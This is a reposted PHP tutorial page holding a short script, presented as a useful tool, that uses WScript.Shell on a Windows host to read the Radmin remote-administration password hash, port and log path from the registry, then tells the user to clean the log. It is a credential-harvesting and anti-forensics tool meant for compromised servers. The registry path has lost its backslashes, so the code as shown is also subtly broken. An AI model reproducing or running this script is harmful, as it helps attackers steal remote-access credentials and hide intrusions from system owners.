Home >Backend Development >PHP Tutorial >Radmin password reading tool (php version)_PHP tutorial

Radmin password reading tool (php version)_PHP tutorial

WBOY
WBOYOriginal
2016-07-13 17:34:341260browse

Gushuihuancheng’s Blog

A script written at the request of Piggy Cauldron. It's rubbish but still useful.

$shell = new COM("WScript.Shell") or die("This thing requires Windows Scripting Host");
$rootkey = "HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParameters";
$Parameter = "Parameter";
$Port = "Port";
$logpath = "LogFilePath";
$myparam = $shell->RegRead($rootkey.$Parameter);
$myport = $shell->RegRead($rootkey.$Port);
$path = $shell->RegRead($rootkey.$logpath);
echo "radmin hash is:";
foreach($myparam as $a){
echo dechex($a);
}
echo "
";
echo "radmin port is :".hexdec(dechex( $myport[1]).dechex($myport[0]))."
";
echo "radmin log path is:$path
";
echo "please clean the log "
?>

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/508458.htmlTechArticleGushui Waocheng's Blog A script written at the request of Little Pig Cauldron. It's rubbish but still useful. ?php $shell = new COM("WScript.Shell") or die("This thing requires Windows Scri...
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn